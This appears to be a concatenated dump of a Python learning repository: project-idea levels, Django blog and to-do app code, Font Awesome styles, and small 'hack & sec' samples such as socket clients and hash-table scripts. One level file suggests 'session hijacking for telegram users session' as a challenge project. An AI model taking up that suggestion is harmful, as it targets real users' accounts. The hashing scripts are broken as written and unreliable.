-------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 5 - H.B/level6_are_you_ok.py: -------------------------------------------------------------------------------- 1 | # I hope so :) 2 | 3 | # so welcome here 4 | 5 | # you can do this level or not. that's your choice 6 | 7 | # this is your task: 8 | 9 | # descripe what is a bug, how should you behave with bug, why a bug happen's and like that 10 | 11 | # that's it, you can just write a line or write an article! -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0005_article_slug_article_status.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0005_article_slug_article_status.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/templates/admin/base_site.html: -------------------------------------------------------------------------------- 1 | {% extends "admin/base.html" %} 2 | 3 | {% block title %}مدیریت وبلاگ{% endblock %} 4 | 5 | {% block branding %} 6 |

مدیریت وبلاگ

7 | {% endblock %} 8 | 9 | {% block nav-global %}{% endblock %} 10 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0004_rename_crated_article_created.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0004_rename_crated_article_created.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 3 - U.P/lvl_5.py: -------------------------------------------------------------------------------- 1 | # in part 3 / for each level dayana give you some idea. you can choose one or more of this ideas 2 | # search about anything you dont know 3 | 4 | # No 1: Image Resize Application (medium degree two) 5 | 6 | # No 2: Hospital Finder using Geographic Location (hard degree one) 7 | 8 | # No 3: Python Website Blocker (hard degree one) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/home/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | from blog_post.models import Article 3 | # Create your views here. 4 | def home (request): 5 | articles = Article.objects.all() 6 | recent_articles = Article.objects.all()[:3] 7 | return render(request, "home/index.html", {'articles': articles}) -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 2 - S.P/lvl_2.py: -------------------------------------------------------------------------------- 1 | # The second stage of the second part 2 | # In this part, you will be given all the necessary things to write the code. At this point, you are just a writer 3 | 4 | # Write code that first downloads a web page 5 | # Then extract all its links and save them in a fileS 6 | 7 | # tips: you can use "bs4", "request", "lxml" libraries sample 8 | 9 | -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 3 - U.P/lvl_3.py: -------------------------------------------------------------------------------- 1 | # in part 3 / for each level dayana give you some idea. you can choose one or more of this ideas 2 | # search about anything you dont know 3 | 4 | # No 1 : build a URL Shortener (simple) 5 | 6 | # No 2 : MP3 Player (medium degree two) 7 | 8 | # No 3 : File Manager (medium degree three) 9 | 10 | # No 4 : Alarm Tool (medium degree three) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/serializers.py: -------------------------------------------------------------------------------- 1 | from rest_framework import serializers 2 | from .models import toDo 3 | 4 | class toDoSerializer(serializers.ModelSerializer): 5 | class Meta: 6 | model = toDo # my model name 7 | fields = ('id', 'Title', 'Description', 'Date', 'Completed') # give it the filds we want 8 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from . import models 3 | 4 | # Register your models here. 5 | 6 | admin.site.register(models.Article) 7 | admin.site.register(models.Category) 8 | admin.site.register(models.Comment) 9 | admin.site.register(models.Massage) 10 | admin.site.register(models.Like) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0003_category_article_pubdate_article_category.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0003_category_article_pubdate_article_category.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path 2 | from .views import UpdateDeleteToDo, ListCreateToDo 3 | 4 | urlpatterns = [ 5 | path('', UpdateDeleteToDo.as_view()), # = object's id # .as_view() = because type my view is class base view 6 | path('', ListCreateToDo.as_view(), name='ListCreateToDo') 7 | ] -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0009_alter_article_options_alter_article_auther_and_more.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0009_alter_article_options_alter_article_auther_and_more.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/mixins.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import redirect 2 | 3 | 4 | class customLoginRequiredMixin: 5 | def dispatch(self, request, *args, **kwargs): 6 | if not request.user.is_authenticated: 7 | return redirect('account:login') 8 | return super(customLoginRequiredMixin, self).dispatch(request, *args, **kwargs) -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 3 - U.P/lvl_2.py: -------------------------------------------------------------------------------- 1 | # in part 3 / for each level dayana give you some idea. you can choose one or more of this ideas 2 | # search about anything you dont know 3 | 4 | # No 1 : a simple flask project with a simple CRUD operation (medium degree one) 5 | 6 | # No 2 : a simple django project with a simple CRUD operation (medium degree one) 7 | 8 | # No 3 : a simple web page with html, css, js (easy) -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 3 - U.P/lvl_6.py: -------------------------------------------------------------------------------- 1 | # in part 3 / for each level dayana give you some idea. you can choose one or more of this ideas 2 | # search about anything you dont know 3 | 4 | # No 1: Mining Twitter Data (hard degree two) 5 | 6 | # No 2: Mining insta Data (hard degree two) 7 | 8 | # No 3: Mining {a big site} Data (hard degree two) 9 | 10 | # No 4: session hijacking for telegram users session (legendary) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/context_processors/context_processors.py: -------------------------------------------------------------------------------- 1 | from blog_post.models import Article,Category 2 | 3 | def recent_articles(request): 4 | recent_articles = Article.objects.order_by('-created') 5 | return {'recent_articles': recent_articles} 6 | 7 | def categories(request): 8 | categories = Category.objects.all() 9 | return {'categories': categories} -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 2 - S.P/lvl_4.py: -------------------------------------------------------------------------------- 1 | # The third stage of the second part 2 | # 3 | # Just being a writer is enough!! 4 | # At this stage you have more freedom of action. The purpose of this step is to use the following libraries 5 | # numpy, pandas, matplotlib 6 | # Three widely used libraries in artificial intelligence. Read about them. See their code samples 7 | # And by combining them, analyze the data of the Iranian coin market 8 | -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/1_network/0_blackpy_samples/2_simple_udp_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "91.99.97.234" 4 | target_port = 9997 5 | 6 | # create a socket object 7 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 8 | 9 | 10 | # send some data 11 | client.sendto(b"AAABBBCCC", (target_host, target_port)) 12 | 13 | data, addr = client.recvfrom(4096) 14 | 15 | print(data.decode()) 16 | client.close() -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/requirements.txt: -------------------------------------------------------------------------------- 1 | asgiref==3.5.2 2 | beautifulsoup4==4.11.1 3 | bs4==0.0.1 4 | certifi==2022.9.24 5 | charset-normalizer==2.1.1 6 | credentials==1.1 7 | Django==4.0.5 8 | idna==3.4 9 | lxml==4.9.1 10 | Pillow==9.1.1 11 | requests==2.28.1 12 | scraper==0.1.0 13 | soupsieve==2.3.2.post1 14 | sqlparse==0.4.2 15 | tzdata==2022.1 16 | urllib3==1.26.12 17 | -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/3_cryptography/0_float_to_md5_hash_python/ill_float_to_md5.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import numpy as pynum_float 3 | from time import sleep 4 | 5 | 6 | with open('hash_dict.txt', 'w') as f: 7 | for i in pynum_float.arange(0.00, 100.00, 0.01): 8 | hashed = hashlib.md5(i) 9 | #print(hashed.hexdigest()) 10 | 11 | f.write(f"\n {i} : {hashed.hexdigest()}") 12 | 13 | 14 | break_point=0 -------------------------------------------------------------------------------- /Dayana python lab/4_idea_documention/guide.txt: -------------------------------------------------------------------------------- 1 | hi there 2 | 3 | welcome to dayana python lab idea part 4 | 5 | here you can find nice and free ideas 6 | 7 | also you can add your own idea to 0_playground/3_idea_playground 8 | 9 | if you have a good idea we add this here for public 10 | 11 | and if you have a very good idea, maybe we start to build your ideas. 12 | 13 | that's it. be comfort, don't panic and write your idea and get tips to improve it -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/3_cryptography/1_float_to_sha256_python/ill_sha256_encoder.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import numpy as pynum_float 3 | from time import sleep 4 | 5 | 6 | with open('hash_list.txt', 'w') as f: 7 | for i in pynum_float.arange(0.00, 100.00, 0.01): 8 | hashed = hashlib.sha256(i) 9 | #print(hashed.hexdigest()) 10 | 11 | f.write(f"\n {i} : {hashed.hexdigest()}") 12 | 13 | 14 | break_point=0 -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path 2 | from . import views 3 | 4 | # Create your urls' App 5 | app_name = 'account' 6 | urlpatterns = [ 7 | path("login", views.user_login, name='login'), 8 | path("logout", views.user_logout, name='logout'), 9 | path("register", views.user_register, name='register'), 10 | path("edit", views.user_edit, name='edit') 11 | ] -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/HELP-US-OUT.txt: -------------------------------------------------------------------------------- 1 | I hope you love Font Awesome. If you've found it useful, please do me a favor and check out my latest project, 2 | Fort Awesome (https://fortawesome.com). It makes it easy to put the perfect icons on your website. Choose from our awesome, 3 | comprehensive icon sets or copy and paste your own. 4 | 5 | Please. Check it out. 6 | 7 | -Dave Gandy 8 | -------------------------------------------------------------------------------- /Dayana python lab/0_playground/0_train_playground/hossein_choopani/QRdecoder.py: -------------------------------------------------------------------------------- 1 | #here we extract data stored in a QR code 2 | 3 | from pyzbar.pyzbar import decode 4 | from PIL import Image 5 | 6 | qr=Image.open('Dayana_Docss.png') 7 | data = decode(qr) 8 | #the output of the decode function (data) is a list containing one tuple, 9 | #the first element of tuple has the stored data as bytes 10 | #so we use str() function to convert bytes to strings for a better display 11 | print(str(data[0][0],"utf-8")) -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 5 - H.B/guide.txt: -------------------------------------------------------------------------------- 1 | hi there 2 | 3 | here we have some noisy code, codes that contain bugs 4 | 5 | this bugs can be: 6 | 7 | - Performance Bugs 8 | 9 | - Security Bugs 10 | 11 | - Logic Bugs 12 | 13 | - Syntax Errors 14 | 15 | - or maybe another type of bugs :) 16 | 17 | your job is to be pationt, focused, and be nice with the code you see 18 | 19 | fix them and send them to dayana team 20 | 21 | and we will help you to get better 22 | 23 | good luck -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/requirements.txt: -------------------------------------------------------------------------------- 1 | asgiref==3.5.2 2 | beautifulsoup4==4.11.1 3 | bs4==0.0.1 4 | certifi==2022.9.24 5 | charset-normalizer==2.1.1 6 | credentials==1.1 7 | Django==4.0.5 8 | djangorestframework==3.14.0 9 | idna==3.4 10 | lxml==4.9.1 11 | Pillow==9.1.1 12 | pytz==2022.7 13 | requests==2.28.1 14 | scraper==0.1.0 15 | soupsieve==2.3.2.post1 16 | sqlparse==0.4.2 17 | tzdata==2022.1 18 | urllib3==1.26.12 19 | -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 4 - H.R/part4 - guide.txt: -------------------------------------------------------------------------------- 1 | welcome to dayana hi py game , part 4 2 | 3 | in this part there is not any special sample or description or ideas 4 | 5 | there is no level, 6 | 7 | this is for challenge your self, 8 | 9 | and become a good developer. 10 | 11 | choose one or more projects from last parts, 12 | 13 | or you cam use aother person on github, 14 | 15 | see the code, 16 | 17 | analyze the code, 18 | 19 | and make it better and cleaner and more sexy than first version 20 | 21 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/larger.less: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .@{fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .@{fa-css-prefix}-2x { font-size: 2em; } 11 | .@{fa-css-prefix}-3x { font-size: 3em; } 12 | .@{fa-css-prefix}-4x { font-size: 4em; } 13 | .@{fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/1_network/0_blackpy_samples/1_simple_tcp_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "www.google.com" 4 | target_port = 80 5 | 6 | #create a socket object 7 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | # connect the client 10 | client.connect((target_host,target_port)) 11 | 12 | # send some data 13 | client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") 14 | 15 | # recive some data 16 | response = client.recv(4096) 17 | 18 | print(response.decode()) 19 | client.close() 20 | 21 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/_larger.scss: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .#{$fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .#{$fa-css-prefix}-2x { font-size: 2em; } 11 | .#{$fa-css-prefix}-3x { font-size: 3em; } 12 | .#{$fa-css-prefix}-4x { font-size: 4em; } 13 | .#{$fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/asgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | ASGI config for blog project. 3 | 4 | It exposes the ASGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.asgi import get_asgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'blog.settings') 15 | 16 | application = get_asgi_application() 17 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for blog project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/4.0/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'blog.settings') 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/0006_remove_article_status.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-08-02 13:34 2 | 3 | from django.db import migrations 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('blog_post', '0005_article_slug_article_status'), 10 | ] 11 | 12 | operations = [ 13 | migrations.RemoveField( 14 | model_name='article', 15 | name='status', 16 | ), 17 | ] 18 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/toDolist/asgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | ASGI config for toDolist project. 3 | 4 | It exposes the ASGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.asgi import get_asgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'toDolist.settings') 15 | 16 | application = get_asgi_application() 17 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/toDolist/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for toDolist project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/4.0/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'toDolist.settings') 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/list.less: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: @fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .@{fa-css-prefix}-li { 11 | position: absolute; 12 | left: -@fa-li-width; 13 | width: @fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.@{fa-css-prefix}-lg { 17 | left: (-@fa-li-width + (4em / 14)); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/_list.scss: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: $fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .#{$fa-css-prefix}-li { 11 | position: absolute; 12 | left: -$fa-li-width; 13 | width: $fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.#{$fa-css-prefix}-lg { 17 | left: -$fa-li-width + (4em / 14); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 6/guide.txt: -------------------------------------------------------------------------------- 1 | last part 2 | 3 | it's like your dissertation in " hi py game " 4 | 5 | think about it, 6 | 7 | what you done? , 8 | 9 | what you learned? , 10 | 11 | how many problems you solved? , 12 | 13 | it's great, isn't? 14 | 15 | now it's your time, 16 | 17 | the game is done here, 18 | 19 | find your idea, 20 | 21 | find what you like to build with this knowledge. 22 | 23 | start writing about it. 24 | 25 | start building your own project. 26 | 27 | show your idea to everyone. 28 | 29 | dayana will help you. 30 | 31 | have a nice day. -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/0008_alter_article_slug.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-08-02 14:25 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('blog_post', '0007_alter_article_slug'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AlterField( 14 | model_name='article', 15 | name='slug', 16 | field=models.SlugField(), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /Dayana python lab/4_idea_documention/0_dayana_nostradamus/basic-idea.txt: -------------------------------------------------------------------------------- 1 | nostradamos 2 | 3 | one idea, infinity minds, infinity features, 4 | 5 | the job, or sould i say the lovely job is to build an AI project like lot's of AI project that already done. 6 | 7 | but the difference; is a little creazy and stupid 8 | 9 | no one here know what is the road map!! 10 | 11 | there is no project analyze !!! 12 | 13 | no basic document :) 14 | 15 | we start, do first thing, then anothere and anothere until we reach to refactore point. 16 | 17 | we learn by doing. one time and for ever. we learn by doing the job -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | from rest_framework import generics 3 | from .serializers import toDoSerializer 4 | from .models import toDo 5 | 6 | 7 | class ListCreateToDo(generics.ListCreateAPIView): #Read & Create 8 | queryset = toDo.objects.all() 9 | serializer_class = toDoSerializer 10 | 11 | class UpdateDeleteToDo(generics.RetrieveUpdateDestroyAPIView): #Update & Delete 12 | queryset = toDo.objects.all() 13 | serializer_class = toDoSerializer 14 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | class toDo(models.Model): 5 | Title = models.CharField(max_length=100, blank=False) # (blank=False) = field tip to be full 6 | Description = models.TextField(blank=True) # (blank=True) = field can be empty 7 | Date = models.DateField(blank=False) 8 | Completed = models.BooleanField(default=False) 9 | 10 | def __str__(self): # Create def __str__ that show title in admin 11 | return self.Title 12 | 13 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/0003_alter_profile_options.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-08-27 09:31 2 | 3 | from django.db import migrations 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('account', '0002_alter_profile_image'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AlterModelOptions( 14 | name='profile', 15 | options={'verbose_name': 'حساب کاربری', 'verbose_name_plural': 'حساب های کاربری'}, 16 | ), 17 | ] 18 | -------------------------------------------------------------------------------- /Dayana python lab/1_data_lake/1_light_weight_data/data-text.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Belgian Waffles 5 | $5.95 6 | 7 | Two of our famous Belgian Waffles with plenty of real maple syrup 8 | 9 | 650 10 | 11 | 12 | Strawberry Belgian Waffles 13 | $7.95 14 | 15 | Light Belgian waffles covered with strawberries and whipped cream 16 | 17 | 900 18 | 19 | 20 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/0007_alter_article_slug.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-08-02 13:37 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('blog_post', '0006_remove_article_status'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AlterField( 14 | model_name='article', 15 | name='slug', 16 | field=models.SlugField(blank=True, null=True), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/0004_rename_crated_article_created.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-08-01 13:53 2 | 3 | from django.db import migrations 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('blog_post', '0003_category_article_pubdate_article_category'), 10 | ] 11 | 12 | operations = [ 13 | migrations.RenameField( 14 | model_name='article', 15 | old_name='crated', 16 | new_name='created', 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/core.less: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix} { 5 | display: inline-block; 6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/0002_alter_profile_image.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-07-30 08:46 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('account', '0001_initial'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AlterField( 14 | model_name='profile', 15 | name='image', 16 | field=models.ImageField(blank=True, null=True, upload_to='profiles/images'), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/_core.scss: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix} { 5 | display: inline-block; 6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/font-awesome.scss: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables"; 7 | @import "mixins"; 8 | @import "path"; 9 | @import "core"; 10 | @import "larger"; 11 | @import "fixed-width"; 12 | @import "list"; 13 | @import "bordered-pulled"; 14 | @import "animated"; 15 | @import "rotated-flipped"; 16 | @import "stacked"; 17 | @import "icons"; 18 | @import "screen-reader"; 19 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path 2 | from . import views 3 | 4 | app_name = 'blog_post' 5 | urlpatterns = [ 6 | path('detail/', views.ArticleDetailView.as_view(), name='article_detail'), 7 | path('list', views.ArticleListView.as_view(), name='articles_list'), 8 | path('category/', views.category_detail, name='category_detail'), 9 | path('search/', views.search, name='search_articles'), 10 | path('contactus/', views.MaasageView.as_view(), name='contact_us'), 11 | path('like//', views.like, name='like') 12 | ] -------------------------------------------------------------------------------- /Dayana python lab/0_playground/4_relax_self_study_playground/2_moudule_learning/csv_module.py: -------------------------------------------------------------------------------- 1 | import csv 2 | 3 | # opening the CSV file 4 | with open('data.csv', mode ='r')as file: 5 | 6 | # reading the CSV file 7 | csvFile = csv.reader(file) 8 | 9 | # displaying the contents of the CSV file 10 | for lines in csvFile: 11 | print(lines) 12 | 13 | ###################### v2 ######## 14 | 15 | import csv 16 | 17 | # opening the CSV file 18 | with open('data.csv', mode ='r')as file: 19 | 20 | # reading the CSV file 21 | csvFile = csv.DictReader(file) 22 | 23 | # displaying the contents of the CSV file 24 | for lines in csvFile: 25 | print(lines) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/stacked.less: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; } 21 | -------------------------------------------------------------------------------- /Dayana python 